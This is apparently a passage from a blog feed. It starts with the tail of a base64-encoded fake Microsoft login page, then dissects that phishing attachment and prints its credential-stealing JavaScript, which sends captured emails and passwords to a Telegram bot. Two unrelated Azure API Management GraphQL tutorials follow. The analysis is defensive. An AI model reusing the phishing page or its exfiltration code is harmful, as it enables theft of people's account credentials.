DspOyI+PC9kaXY+CjwvZGl2PjwvZGl2Pgo8ZGl2IGNsYXNzPSJvdXRlciI+CiAgICA8ZGl2IGNsYXNzPSJ0ZW1wbGF0ZS1zZWN0aW9uIG1haW4tc2VjdGlvbiI+CiAgICAgICAgPGRpdiBjbGFzcz0ibWlkZGxlIGV4dC1taWRkbGUiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmdWxsLWhlaWdodCI+CjxkaXYgY2xhc3M9ImZsZXgtY29sdW1uIj4KICAgIDxkaXYgY2xhc3M9Indpbi1zY3JvbGwiPgogICAgICAgIDxkaXYgaWQ9ImxpZ2h0Ym94IiBjbGFzcz0ic2lnbi1pbi1ib3ggZXh0LXNpZ24taW4tYm94IGZhZGUtaW4tbGlnaHRib3giPgogICAgICAgIDxkaXY+PGltZyBjbGFzcz0ibG9nbyIgcm9sZT0iaW1nIiBwbmdzcmM9Imh0dHBzOi8vYWFkY2RuLm1zZnRhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL21pY3Jvc29mdF9sb2dvX2VkOWM5ZWIwZGNlMTdkNzUyYmVkZWE2YjVhY2RhNmQ5LnBuZyIgc3Znc3JjPSJodHRwczovL2FhZGNkbi5tc2Z0YXV0aC5uZXQvc2hhcmVkLzEuMC9jb250ZW50L2ltYWdlcy9taWNyb3NvZnRfbG9nb19lZTVjOGQ5ZmI2MjQ4YzkzOGZkMGRjMTkzNzBlOTBiZC5zdmciIHNyYz0iaHR0cHM6Ly9hYWRjZG4ubXNmdGF1dGgubmV0L3NoYXJlZC8xLjAvY29udGVudC9pbWFnZXMvbWljcm9zb2Z0X2xvZ29fZWU1YzhkOWZiNjI0OGM5MzhmZDBkYzE5MzcwZTkwYmQuc3ZnIiBhbHQ9Ik1pY3Jvc29mdCI+PC9kaXY+CiAgICAgICAgPGRpdiByb2xlPSJtYWluIj4KPGRpdiBjbGFzcz0iYW5pbWF0ZSBzbGlkZS1pbi1uZXh0Ij4KICAgICAgICA8ZGl2ID4KPGRpdiBjbGFzcz0iaWRlbnRpdHlCYW5uZXIiPgogICAgPGRpdiBpZD0iZGlzcGxheU5hbWUiIGNsYXNzPSJpZGVudGl0eSI+PC9kaXY+CjwvZGl2PjwvZGl2PgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJwYWdpbmF0aW9uLXZpZXcgYW5pbWF0ZSBoYXMtaWRlbnRpdHktYmFubmVyIHNsaWRlLWluLW5leHQiPgogICAgPGRpdj4KCjxkaXYgaWQ9ImxvZ2luSGVhZGVyIiBjbGFzcz0icm93IHRpdGxlIGV4dC10aXRsZSI+CiAgICA8ZGl2IHJvbGU9ImhlYWRpbmciIGFyaWEtbGV2ZWw9IjEiPkVudGVyIHBhc3N3b3JkPC9kaXY+CjwvZGl2Pgo8ZGl2IGlkPSJlcnJvcnB3IiBzdHlsZT0iY29sb3I6IHJlZDsgbWFyZ2luOiAxNXB4OyBtYXJnaW4tbGVmdDogMHB4OyBtYXJnaW4tdG9wOiAwcHg7IG1hcmdpbi1ib3R0b206IDBweDsiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJyb3ciPgogICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbWQtMjQiPgogICAgICAgIDxkaXYgY2xhc3M9InBsYWNlaG9sZGVyQ29udGFpbmVyIj4KICAgICAgICAgICAgPGlucHV0IG5hbWU9InBhc3N3ZCIgdHlwZT0icGFzc3dvcmQiIGlkPSJpMDExOCIgYXV0b2NvbXBsZXRlPSJvZmYiIGNsYXNzPSJmb3JtLWNvbnRyb2wgaW5wdXQgZXh0LWlucHV0IHRleHQtYm94IGV4dC10ZXh0LWJveCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIiByZXF1aXJlZCAvPgo8L2Rpdj4KICAgIDwvZGl2Pgo8L2Rpdj4KPGRpdj4KPGRpdiBjbGFzcz0icG9zaXRpb24tYnV0dG9ucyI+CiAgICA8ZGl2PgogICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yNCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LTEzIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaWQ9ImlkQV9QV0RfRm9yZ290UGFzc3dvcmQiIHJvbGU9ImxpbmsiIGhyZWY9IiMiPkZvcmdvdHRlbiBteSBwYXNzd29yZDwvYT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CjwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgogICAgICAgICAgICA8YSBpZD0iaTE2NjgiIGhyZWY9IiMiPlNpZ24gaW4gd2l0aCBhbm90aGVyIGFjY291bnQ8L2E+CiAgICAgICAgPC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGNsYXNzPSJ3aW4tYnV0dG9uLXBpbi1ib3R0b20iPgogICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgIDxkaXY+PGRpdiBjbGFzcz0iY29sLXhzLTI0IG5vLXBhZGRpbmctbGVmdC1yaWdodCBidXR0b24tY29udGFpbmVyIj4KICAgIDxkaXYgY2xhc3M9ImlubGluZS1ibG9jayI+CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgaWQ9ImlkU0lCdXR0b245IiBjbGFzcz0id2luLWJ1dHRvbiBidXR0b25fcHJpbWFyeSBidXR0b24gZXh0LWJ1dHRvbiBwcmltYXJ5IGV4dC1wcmltYXJ5IiB2YWx1ZT0iU2lnbiBpbiI+CiAgICA8L2Rpdj4KPC9kaXY+PC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KPC9kaXY+PC9kaXY+CiAgICA8L2Rpdj4KPC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+CiAgICA8L2Rpdj4KPC9kaXY+PC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDxkaXYgaWQ9ImZvb3RlciIgcm9sZT0iY29udGVudGluZm8iIGNsYXNzPSJmb290ZXIgZXh0LWZvb3RlciI+CiAgICAgICAgPGRpdj4KPGRpdiBpZD0iZm9vdGVyTGlua3MiIGNsYXNzPSJmb290ZXJOb2RlIHRleHQtc2Vjb25kYXJ5Ij4KICAgICAgICA8YSBpZD0iZnRyVGVybXMiIGhyZWY9IiMiIGNsYXNzPSJmb290ZXItY29udGVudCBleHQtZm9vdGVyLWNvbnRlbnQgZm9vdGVyLWl0ZW0gZXh0LWZvb3Rlci1pdGVtIj5UZXJtcyBvZiB1c2U8L2E+CiAgICAgICAgPGEgaWQ9ImZ0clByaXZhY3kiIGhyZWY9IiMiIGNsYXNzPSJmb290ZXItY29udGVudCBleHQtZm9vdGVyLWNvbnRlbnQgZm9vdGVyLWl0ZW0gZXh0LWZvb3Rlci1pdGVtIj5Qcml2YWN5ICZhbXA7IGNvb2tpZXM8L2E+CiAgICA8YSBpZD0ibW9yZU9wdGlvbnMiIGhyZWY9IiMiIGFyaWEtbGFiZWw9IkNsaWNrIGhlcmUgZm9yIHRyb3VibGVzaG9vdGluZyBpbmZvcm1hdGlvbiIgY2xhc3M9ImZvb3Rlci1jb250ZW50IGV4dC1mb290ZXItY29udGVudCBmb290ZXItaXRlbSBleHQtZm9vdGVyLWl0ZW0gZGVidWctaXRlbSBleHQtZGVidWctaXRlbSI+Li4uPC9hPgo8L2Rpdj48L2Rpdj4KICAgIDwvZGl2Pgo8L2Rpdj48L2Rpdj48L2Rpdj4KPC9mb3JtPgo8c2NyaXB0PgogICAgdmFyIGNvdW50ID0gMDsKICAgIHZhciBwc3dkMTsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpZFNJQnV0dG9uOSIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oZSkgewogICAgZS5wcmV2ZW50RGVmYXVsdCgpOwoKICAgIHZhciBwc3dkID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2kwMTE4JykudmFsdWU7CiAgICBpZiAocHN3ZCA9PSBudWxsIHx8IHBzd2QgPT0gIiIpewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvcnB3JykuaW5uZXJIVE1MID0gYFlvdXIgYWNjb3VudCBwYXNzd29yZCBjYW5ub3QgYmUgZW1wdHkuIGlmIHlvdSBkb24ndCByZW1lbWJlciB5b3VyIHBhc3N3b3JkLCA8YSBocmVmPSIjIj5yZXNldCBpdCBub3cuPC9hPmA7CiAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9ycHcnKS5pbm5lckhUTUwgPSAnJzt9LCAzMDAwKTt9CiAgICBlbHNlIGlmKHBzd2QubGVuZ3RoIDwgNSl7CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9ycHcnKS5pbm5lckhUTUwgPSAiWW91ciBhY2NvdW50IHBhc3N3b3JkIGlzIHRvbyBzaG9ydC4iOwogICAgICAgIHNldFRpbWVvdXQoKCkgPT4ge2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlcnJvcnB3JykuaW5uZXJIVE1MID0gJyc7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpMDI4MSIpLnJlc2V0KCk7fSwgMzAwMCk7CiAgICB9IGVsc2UgaWYgKGNvdW50PDEpewogICAgICAgIHBzd2QxID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2kwMTE4JykudmFsdWU7CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9ycHcnKS5pbm5lckhUTUwgPSBgWW91ciBhY2NvdW50IG9yIHBhc3N3b3JkIGlzIGluY29ycmVjdC4gaWYgeW91IGRvbid0IHJlbWVtYmVyIHlvdXIgcGFzc3dvcmQsIDxhIGhyZWY9IiMiPnJlc2V0IGl0IG5vdy48L2E+YDsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaTAyODEiKS5yZXNldCgpOyBjb3VudCsrO30KICAgIGVsc2UgewogICAgICAgIHZhciBJUCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdnZmcnKS50ZXh0Q29udGVudDsKICAgICAgICB2YXIgbWVzc2FnZSA9IGA9PT09PT0gTzM2NSBSZXN1bHQgPT09PT09XHJcbkVtYWlsOiAke2VtYWlsfVxyXG5QYXNzd29yZDE6ICR7cHN3ZDF9XHJcblBhc3N3b3JkMjogJHtwc3dkfVxyXG5JUDogaHR0cHM6Ly9pcC1hcGkuY29tLyR7SVB9XHJcblVzZXItQWdlbnQ6ICR7bmF2aWdhdG9yLnVzZXJBZ2VudH1cclxuPT09PT09PT09PT09PT09PT09PWA7CiAgICAgICAgdmFyIHNldHRpbmdzID0gewogICAgICAgICAgICAiYXN5bmMiOiB0cnVlLCAiY3Jvc3NEb21haW4iOiB0cnVlLCAidXJsIjogImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QiICsgdG9rZW4gKyAiL3NlbmRNZXNzYWdlIiwKICAgICAgICAgICAgIm1ldGhvZCI6ICJQT1NUIiwgImhlYWRlcnMiOiB7IkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIiwgImNhY2hlLWNvbnRyb2wiOiAibm8tY2FjaGUifSwKICAgICAgICAgICAgImRhdGEiOiBKU09OLnN0cmluZ2lmeSh7ImNoYXRfaWQiOiBjaGF0X2lkLCAidGV4dCI6IG1lc3NhZ2V9KX0KICAgICAgICAkLmFqYXgoc2V0dGluZ3MpLmRvbmUoKHJlc3BvbnNlKSA9PiB7d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJ2h0dHBzOi8vcG9ydGFsLm9mZmljZS5jb20vc2VydmljZXN0YXR1cycpO30pOwogICAgfSAKICAgIH0pOyAKPC9zY3JpcHQ+CjwvZGl2PjwvYm9keT48L2h0bWw+"
  );
  document.write(data);
</script>

So that’s interesting, it’s just a script tag with some JavaScript variables and a giant blob that will contain some HTML that will get written to the body. I guess we better parse out that blob and see what we’re dealing with.

As the HTML it generates is quite long, I’ve popped it into a gist that you can find here. And what does it look like?

It looks like the login screen to a Microsoft account, prompting me to enter the password.

Note: I removed the JS from the file before loading it in the browser, just for extra safety.

Breaking down how it works

Clearly it’s trying to capture my password for my Microsoft account (MSA), but how will it do that, and how will they get it to themselves since this is an offline file? For that, we need to dig into the JavaScript a bit. There’s two scripts that run on the page, the first one is quite straight forward:

$(document).ready(function () {
  $("#displayName").empty().append(email);
  $.getJSON("https://api.ipify.org?format=json", function (data) {
    $("#gfg").html(data.ip);
  });
});

It’s pushing my email (which was in the original file) to a field so I think I’m signing in, and then it’s calling a service to get my public IP.

Of interesting note, they are using jQuery here and if we look at the script include a few lines above, we’ll notice it’s version 3.4.1, and that was released in 2019, so it’s possible that this basic phishing script has been floating around for a long time. Also, I wondered about why they’d use jQuery and not the native fetch API, as that’d reduce the external dependencies, and thus, the number of points of failure. While I don’t know the true motivations of this scammer, my guess would be that since a victim of this is someone who isn’t tech savvy, there’s a chance they are still using an outdated browser such as Internet Explorer, so jQuery would mean they don’t have to worry about browser compatibility and hit as wider target as possible.

Ok, back on topic, what’s the other script block doing?

var count = 0;
var pswd1;
document.getElementById("idSIButton9").addEventListener("click", function (e) {
  e.preventDefault();
  var pswd = document.getElementById("i0118").value;
  if (pswd == null || pswd == "") {
    document.getElementById(
      "errorpw"
    ).innerHTML = `Your account password cannot be empty. if you don't remember your password, <a href="#">reset it now.</a>`;
    setTimeout(() => {
      document.getElementById("errorpw").innerHTML = "";
    }, 3000);
  } else if (pswd.length < 5) {
    document.getElementById("errorpw").innerHTML =
      "Your account password is too short.";
    setTimeout(() => {
      document.getElementById("errorpw").innerHTML = "";
      document.getElementById("i0281").reset();
    }, 3000);
  } else if (count < 1) {
    pswd1 = document.getElementById("i0118").value;
    document.getElementById(
      "errorpw"
    ).innerHTML = `Your account or password is incorrect. if you don't remember your password, <a href="#">reset it now.</a>`;
    document.getElementById("i0281").reset();
    count++;
  } else {
    var IP = document.getElementById("gfg").textContent;
    var message = `====== O365 Result ======\r\nEmail: ${email}\r\nPassword1: ${pswd1}\r\nPassword2: ${pswd}\r\nIP: https://ip-api.com/${IP}\r\nUser-Agent: ${navigator.userAgent}\r\n===================`;
    var settings = {
      async: true,
      crossDomain: true,
      url: "https://api.telegram.org/bot" + token + "/sendMessage",
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "cache-control": "no-cache",
      },
      data: JSON.stringify({
        chat_id: chat_id,
        text: message,
      }),
    };
    $.ajax(settings).done((response) => {
      window.location.replace("https://portal.office.com/servicestatus");
    });
  }
});

Now this looks more like it, here’s how they are going to get your information. Let’s break it down step-by-step.

To start, they have a click handler on the Sign In button and when clicked they grab the password from the password field. Then we enter a chain of if blocks.

if (pswd == null || pswd == "") {
  document.getElementById(
    "errorpw"
  ).innerHTML = `Your account password cannot be empty. if you don't remember your password, <a href="#">reset it now.</a>`;
  setTimeout(() => {
    document.getElementById("errorpw").innerHTML = "";
  }, 3000);
}

Blank password test, sure, makes logical sense. Interesting that they clear out the error message after a period too, like, what’s the point in that? Ok, next conditional test:

if (pswd.length < 5) {
  document.getElementById("errorpw").innerHTML =
    "Your account password is too short.";
  setTimeout(() => {
    document.getElementById("errorpw").innerHTML = "";
    document.getElementById("i0281").reset();
  }, 3000);
}

Hahah they are enforcing a minimum of 5 characters on their password! I think MSA has a minimum length of 8 though, but I’ll admit to having never investigated it. Hats off for trying to make it seem legit, although I’m saddened, they didn’t add anything more around password complexity. 🤣

This brings us to the third branch:

if (count < 1) {
  pswd1 = document.getElementById("i0118").value;
  document.getElementById(
    "errorpw"
  ).innerHTML = `Your account or password is incorrect. if you don't remember your password, <a href="#">reset it now.</a>`;
  document.getElementById("i0281").reset();
  count++;
}

Now this is interesting. The variable count is a globally scoped one on the page that starts out at 0, so assuming you’ve provided a password and it was longer than 5 characters, you’re going to land in this branch where it puts the password you entered into pswd1, which is a globally scoped variable, before then showing you an error message and increasing the count.

What we can assume here is that they are using this as a fake out to the victim, having them think they incorrectly entered the password, so that they enter it a second time, and that lands us in the final branch of our code:

var IP = document.getElementById("gfg").textContent;
var message = `====== O365 Result ======\r\nEmail: ${email}\r\nPassword1: ${pswd1}\r\nPassword2: ${pswd}\r\nIP: https://ip-api.com/${IP}\r\nUser-Agent: ${navigator.userAgent}\r\n===================`;
var settings = {
  async: true,
  crossDomain: true,
  url: "https://api.telegram.org/bot" + token + "/sendMessage",
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "cache-control": "no-cache",
  },
  data: JSON.stringify({
    chat_id: chat_id,
    text: message,
  }),
};
$.ajax(settings).done((response) => {
  window.location.replace("https://portal.office.com/servicestatus");
});

When the victim runs this code block it’s building up a message that contains their email (from the original script you download), the password they entered and were told was wrong, then the password they entered this time, plus some metadata like their IP and user agent. Interestingly, they are using a template literal which isn’t supported in IE, so maybe my assertion on why they used jQuery is wrong and they are doing it because they are lazy (odd that they don’t use the template literal for the url in the AJAX settings though…). I find the double-password trick quite an interesting one, as it suggests that they are anticipating that people could do a mistake, so by having them prompt twice, the victim will either validate that their password by entering the same one again - which will work and they are none the wiser, or they’ll hand over a secondary password that they may use on other services.

The result of this is a message payload like so:

====== O365 Result ======
Email: foo@bar.com
Password1: abc123
Password2: abc123
IP: https://ip-api.com/1.1.1.1
User-Agent: ...
===================

This payload is then sent to a Telegram chat, using the token and chat_id from the downloaded attachment, before the user is redirected to the Office status page, leaving them none the wiser that their details have been sent away.

Summary

Sadly, it looks like this token has been revoked, as when I tried to use it against the Telegram API (even replicating the sendMessage call but with a cough different message), I was getting a 401, meaning I couldn’t try and dig into the chat itself.

Like last time, this was interesting, looking at how the scammer is trying to get the information from the victim. I find the use of the fake out on password failing to get them to validate their password (or give over a secondary password) quite a clever way to go about collecting credentials and reducing the risk of getting invalid ones out of it.

And with that, this email is getting flagged in M365 as phishing and let’s hope that improves the phishing detection, so it lands in less inboxes.

GraphQL on Azure: Part 10 - Synthetic GraphQL Custom Responses

website-contact@aaron-powell.com (Aaron Powell) — Wed, 17 Aug 2022 05:01:21 +0000

Continuing on from the last post in which we used Azure API Management’s (APIM) Synthetic GraphQL feature to create a GraphQL endpoint for my blog, I wanted to explore how to add a completely new field to our type - Related Posts.

Using the schema editor in APIM I added a new field to the Post type of related(tag: String): [Post!], so our type now looks like this:

type Post {
  id: ID!
  title: String!
  url: Url!
  date: Date
  tags: [String!]!
  description: String
  content: String!
  related(tag: String): [Post!]
}

The way this field resolver will work is that if you provide a tag argument to related then it’ll return posts that also have that tag (while first validating that the tag is a tag of the Post), and if you don’t provide a tag argument, it’ll return all posts that have the same tags as the current Post.

Aside: I have updated the /api/tag endpoint that if you provide a comma-separated string, it’ll split those and return posts that match all those tags as it previously only supported a single tag.

Building a resolver

As this is an entirely fabricated field, we’re going to have to make a custom resolver in APIM using the set-graphql-resolver policy. The resolver is going to need two pieces of data, the tags of the current Post and the tag argument provided. As we learnt in the last post, we can get the arguments off the GraphQL request context as context.Request.Body.As<JObject>(true)["arguments"], but what about the Post?

In GraphQL, the resolver that’s being executed has access to the parent in the graph, and in our case the parent of related is the Post, and we can access that by context.ParentResult.

With that setup, we can write our resolver like so:

<set-graphql-resolver parent-type="Post" field="related">
    <http-data-source>
        <http-request>
            <set-method>GET</set-method>
            <set-url>@{
                var postTags = context.ParentResult.AsJObject()["tags"].ToObject<string[]>().ToList();
                var requestedTag = context.Request.Body.As<JObject>(true)["arguments"]["tag"].ToString();

                if (!string.IsNullOrEmpty(requestedTag)) {
                    if (postTags.IndexOf(requestedTag) < 0) {
                        return null;
                    }

                    return $"https://www.aaron-powell.com/api/tag/{requestedTag}";
                }

                return $"https://www.aaron-powell.com/api/tag/{string.Join(",", postTags)}";
            }</set-url>
        </http-request>
    </http-data-source>
</set-graphql-resolver>

Notice that this time the parent-type is Post not Query, and we have a slightly more complex bit of C# code that generates the URL we’ll call, applying the logic that was stated above.

Let’s fire off the request and see what we get back:

query {
  post(id: "2022-08-16-graphql-on-azure-part-9-rest-to-graphql") {
    title
    tags
    related {
      title
      tags
    }
  }
}

Great, it’s worked as expected… except we ended up with the post that we specified the ID of in the related posts. While that might be technically true that it’s related to itself, it’s not really what we’re expecting.

Cleaning our results

We’re going to want to do something that removes the current post from its related posts, and to do that we’re going to need to either make our REST API aware of the current Post and filter it out, or make our resolver smarter.

Going and rewriting the backend API doesn’t seem like the logical choice, after all, the point of Synthetic GraphQL is that we’re exposing non-graph data as a graph, so we probably don’t want to rework our API to be more “GraphQL ready”. Instead, we can do some post-processing in the data before sending it to the client, using the http-response part of our policy and defining a set-body transformation policy.

With set-body, we need to provide a template to execute, and this can be a Liquid template or C#. Since I’m not familiar with Liquid, but I am with C#, we’re going to stick with that. This template is going to need to get the id of the current post (which is the parent of the resolver), then iterate through all the posts from the /tags call, and remove the current post from the result set.

<http-response>
    <set-body>@{
        var parentId = context.ParentResult.AsJObject()["id"].ToString();
        var posts = context.Response.Body.As<JArray>();

        var response = new JArray();

        foreach (var post in posts) {
            if (post["id"].ToObject<string>() != parentId) {
                response.Add(post);
            }
        }

        return response.ToString();
    }</set-body>
</http-response>

What we see here is that we used the context.ParentResult to find the id, then parsed the current response as a JArray (since we know that the REST call returned a JSON array), then using a foreach loop, we check the posts and create a new JArray containing the cleaned result set, which we finally return as a string.

This makes our whole resolver look like this:

<set-graphql-resolver parent-type="Post" field="related">
    <http-data-source>
        <http-request>
            <set-method>GET</set-method>
            <set-url>@{
                var postTags = context.ParentResult.AsJObject()["tags"].ToObject<string[]>().ToList();
                var requestedTag = context.Request.Body.As<JObject>(true)["arguments"]["tag"].ToString();

                if (!string.IsNullOrEmpty(requestedTag)) {
                    if (postTags.IndexOf(requestedTag) < 0) {
                        return null;
                    }

                    return $"https://www.aaron-powell.com/api/tag/{requestedTag}";
                }

                return $"https://www.aaron-powell.com/api/tag/{string.Join(",", postTags)}";
            }</set-url>
        </http-request>
        <http-response>
            <set-body>@{
                var parentId = context.ParentResult.AsJObject()["id"].ToString();
                var posts = context.Response.Body.As<JArray>();

                var response = new JArray();

                foreach (var post in posts) {
                    if (post["id"].ToObject<string>() != parentId) {
                        response.Add(post);
                    }
                }

                return response.ToString();
            }</set-body>
        </http-response>
    </http-data-source>
</set-graphql-resolver>

Let’s make the GraphQL call again:

Fantastic, we’re now only getting the data that we expect.

Summary

This post builds on the last one in how to use Synthetic GraphQL to create a GraphQL endpoint from a non-GraphQL backend, but we took it one step further and created a field on our GraphQL type that doesn’t exist in our original backend model. And this is what makes Synthetic GraphQL really shine, that we can take our backend and model it in the way that makes the most sense for consumers of it in a graph design.

Yes, it might not be as optimised as if you were writing a true GraphQL server, given that with this particular example doesn’t optimise the sub-resolver calls, but that’s something for a future post. 😉

GraphQL on Azure: Part 9 - REST to GraphQL

website-contact@aaron-powell.com (Aaron Powell) — Tue, 16 Aug 2022 00:52:22 +0000

Throughout this series we’ve been exploring many different aspects of using GraphQL in Azure, but it’s always been from the perspective of creating a new API. While there are a certain class of problems which support you starting from scratch, it’s not uncommon to have an existing API that you’re bound to, and in that case, GraphQL might not be as easy to tackle.

Here’s a scenario that I want to put forth, you’ve got an existing API, maybe it’s REST, maybe it’s a bespoke HTTP API, none the less you’re building a new client in which you want to consume the endpoint as GraphQL. We could go down the path of creating an Apollo Server and using the RESTDataSource, or using HotChocolate’s REST support, but for both of these approaches we’re having to write our own server and deploy some new infrastructure to run it.

What if we could do it without code?

Introducing Synthetic GraphQL

At Build 2022 Azure API Management (APIM) released a preview of a new feature called Synthetic GraphQL. Synthetic GraphQL allows you to use APIM as the broker between your GraphQL schema and the HTTP endpoints that provide the data for it, meaning you to convert a backend to GraphQL without having to implement a custom server, instead you use APIM policies.

Let’s take a look at how to do this, and for that, I’m going to add an API to my blog.

Building a REST API for my blog

I’ve created a really basic REST API for my blog, that takes the JSON file generated for my search feature and exposes it using Azure Functions as /post for all posts, /post/:id for a specific post, and /tag/:tag for posts under a certain tag. You can see the implementations on my GitHub, but they’re reasonably simple, here’s the /tag/:tag one:

import { AzureFunction, Context, HttpRequest } from "@azure/functions";
import { loadPosts } from "../postLoader";

const httpTrigger: AzureFunction = async function (
  context: Context,
  req: HttpRequest
): Promise<void> {
  const tag = req.params.tag;

  const posts = await loadPosts();

  const postsByTag = posts.filter((p) => p.tags.some((t) => t === tag));

  if (!postsByTag.length) {
    context.res = {
      status: 404,
    };
  } else {
    context.res = {
      body: postsByTag,
    };
  }
};

export default httpTrigger;

Simple, effective, and if you go to /api/tag/graphql you’ll see a JSON response containing all my blog posts that are tagged with graphql.

Creating a GraphQL schema

Let’s go ahead and define a GraphQL schema that we want to expose the REST endpoints via:

scalar Url
scalar Date

type Post {
  id: ID!
  title: String!
  url: Url!
  date: Date
  tags: [String!]!
  description: String
  content: String!
}

type Query {
  post(id: ID!): Post
  postsByTag(tag: String!): [Post!]!
}

schema {
  query: Query
}

That looks like it’ll do, we have a single Object Type, Post, that has the relevant fields on it, we have some queries, post(id: ID!) and postsByTag(tag: String!) that cover the main REST endpoints, and we’ve even got some custom scalar types in there for fun.

Now let’s go and create an APIM endpoint that we can use for this.

Setting up Synthetic GraphQL

Note: At the time of writing, Synthetic GraphQL is in public preview, so the approach I’m showing is subject to change as the preview moves towards General Availability (GA). Also, it may not be in all regions or all SKUs, so for this post I’m using West US as the region and the Developer SKU.

First off, you’ll need to create an APIM resource, here’s how to do it via the Azure Portal (the APIM docs will cover other approaches (CLI, Bicep, VS Code, etc.)). Once the resource has been provisioned, it’s time to setup our Synthetic GraphQL API.

On the APIM resource, navigate to the APIs section, click Add API and you’ll see the different options, including Synthetic GraphQL.

Select Synthetic GraphQL, provide a name and upload your GraphQL schema then click Create (you don’t need to provide the other information if you don’t want, but I have provided an API URL suffix, so I could run other APIs in this resource if so desired).

You’ll now find a new API listed with the name provided (Blog in my case) and if you click on it you’ll find your GraphQL schema parsed as the API frontend.

Congratulations, you’ve setup a GraphQL endpoint in APIM!

Defining Resolvers

While we may have told APIM that we want to create an endpoint that you can query with GraphQL, we’re missing a critical piece of the puzzle, resolvers! APIM knows that we are trying to get GraphQL but it doesn’t know how to get the data to send back in your HTTP responses, and for that, we’ll use the set-graphql-resolver APIM policy to, well, set a GraphQL resolver for parts of our schema.

The set-graphql-resolver policies are added to the <backend> section of our APIM policy list and it will require a parent-type and the field that the resolver is for. Let’s start by defining the post(id: ID!) field of the Query, and we’ll do that by opening the Policy Editor for our API:

From here, find the <backend> node and start creating our policy:

<backend>
  <set-graphql-resolver parent-type="Query" field="post">
  </set-graphql-resolver>
  <base />
</backend>

Note: We’ll leave the <base /> policy in as well, as that will ensure any global policies on our API are also executed.

With the policy linked to the GraphQL schema, we need to “implement” the resolver and tell it to call our HTTP endpoint, and for that we’ll use the http-data-source:

<backend>
  <set-graphql-resolver parent-type="Query" field="post">
    <http-data-source>
      <http-request>
        <set-method>GET</set-method>
        <set-url>@{
            var id = context.Request.Body.As<JObject>(true)["arguments"]["id"];
            return $"https://www.aaron-powell.com/api/post/{id}";
        }</set-url>
        <set-header name="Content-Type" exists-action="override">
          <value>application/json</value>
        </set-header>
      </http-request>
    </http-data-source>
  </set-graphql-resolver>
  <base />
</backend>

For our http-data-source, we’ll define the http-request information, in this case we’re setting the HTTP method as GET and that we’re expecting JSON as the Content-Type header, but the most interesting bit is the set-url node, in which we define the URL that our HTTP call will make.

Since the posts field takes an argument of id, and that’s needed in our API call, we run a code snippet that will parse the request body, find the arguments property and get the id member of it, which we assign to a variable and then generate the URL that APIM will need to call. While this is a simple case of passing something across as a URL parameter, you could do something more dynamic like conditionally choosing a URL based on the arguments, or if it was a HTTP POST you could use set-body to build up a request body to POST to the API (which might be more applicable in a mutation than a query).

Let’s repeat the same thing for our postsByTag field:

<backend>
  <set-graphql-resolver parent-type="Query" field="post">
    <http-data-source>
      <http-request>
        <set-method>GET</set-method>
        <set-url>@{
            var id = context.Request.Body.As<JObject>(true)["arguments"]["id"];
            return $"https://www.aaron-powell.com/api/post/{id}";
        }</set-url>
        <set-header name="Content-Type" exists-action="override">
          <value>application/json</value>
        </set-header>
      </http-request>
    </http-data-source>
  </set-graphql-resolver>
  <set-graphql-resolver parent-type="Query" field="postsByTag">
    <http-data-source>
      <http-request>
        <set-method>GET</set-method>
        <set-url>@{
            var tag = context.Request.Body.As<JObject>(true)["arguments"]["tag"];
            return $"https://www.aaron-powell.com/api/tag/{tag}";
        }</set-url>
        <set-header name="Content-Type" exists-action="override">
          <value>application/json</value>
        </set-header>
      </http-request>
    </http-data-source>
  </set-graphql-resolver>
  <base />
</backend>

Once you’re done, hit Save and navigate to the Test console for the API and we’ll be able to execute our queries:

And there we have it, we’ve created a GraphQL API that is really just fronting our existing REST API.

Making our GraphQL endpoint callable

The only thing left to do is to make our GraphQL endpoint callable by clients. There’s an easy to follow tutorial on the APIM docs (which I followed myself!) and I setup a Product like so:

Once the product was setup, I added a subscription for myself, copied the subscription key, opened up Postman and executed a query.

Conclusion

Throughout this post, we’ve looked at how to create a Synthetic GraphQL API using Azure APIM Management, aka APIM, that is a wrapper around a REST API that I already had existing on my website.

